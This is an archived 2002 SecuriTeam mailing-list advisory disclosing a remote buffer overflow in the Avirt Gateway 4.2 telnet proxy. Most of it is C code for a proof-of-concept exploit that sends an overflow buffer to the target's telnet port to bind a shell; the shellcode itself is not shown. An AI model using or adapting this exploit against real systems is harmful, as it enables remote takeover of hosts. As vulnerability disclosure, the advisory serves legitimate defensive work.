

[EXPL] Avirt Gateway Remote Buffer Overflow Proof of Concept

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-02/0094.html>

From: support@securiteam.com

Date: 02/16/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 16 Feb 2002 00:01:58 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Avirt Gateway Remote Buffer Overflow Proof of Concept

SUMMARY

The telnet proxy of the Avirt Gateway v4.2 is vulnerable to a remotely exploitable buffer overflow that allows execution of arbitrary code. Entering a String of about 510 bytes at the "Ready>" prompt will overwrite EIP. Exploit will bind a shell to a specified port on the attacked host.

DETAILS

Vulnerable systems:

Avirt Gateway v4.2 [build 4807] on Windows 2000, SP2

Example:

```
$ agate 10.0.0.1 7007
```

Avirt Gateway 4.2 remote exploit by uid0x00 (uid0x00@haked.com)

```
initialising socket
```

```
..initialized
```

```
trying to connect
```

```
..connected
```

```
(waiting)
```


Securiteam: [EXPL] Avirt Gateway Remote Buffer Overflow Proof of Concept

```
//insert shell port
a_port = htons(atoi(argv[2]));
a_port^= 0x9999;
shellcode[964] = (a_port) & 0xff;
shellcode[965] = (a_port >> 8) & 0xff;

//init the exploit buffer
memset(&exploit, '\xCC', 0x200);
memcpy(&exploit, &shellcode, sizeof(shellcode)-1);

printf("initialising socket\n");
s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (s) {
    printf("...initialized\n");

    memset(&SockAdr, 0, sizeof(SockAdr));
    SockAdr.sin_addr.s_addr = inet_addr(argv[1]);
    SockAdr.sin_family = AF_INET;
    SockAdr.sin_port = htons(23);

    printf("trying to connect\n");
    if (!connect(s, (struct sockaddr *)&SockAdr, sizeof(SockAdr))) {
        printf("...connected\n");
        printf("(waiting)\n");
        sleep(3);

        printf("sending exploit\n");
        send(s, exploit, sizeof(exploit), 0);
        printf("...sent\n");

        printf("(waiting)\n");
        sleep(3);

        printf("...closed\nshell bound to port %s \n", argv[2]);
        close(s);
    }
    else {
        printf("... failed :( errno = %i\n", errno);
        close(s);
        return(0);
    }
}
}
```

-----cut-----

ADDITIONAL INFORMATION

The information has been provided by <mailto:uid0x00@haked.com> uid0x00.

=====

Securiteam: [EXPL] Avirt Gateway Remote Buffer Overflow Proof of Concept

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[TOOL] SNMP Self-Test Tool Released"
 - *Messages sorted by:* [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)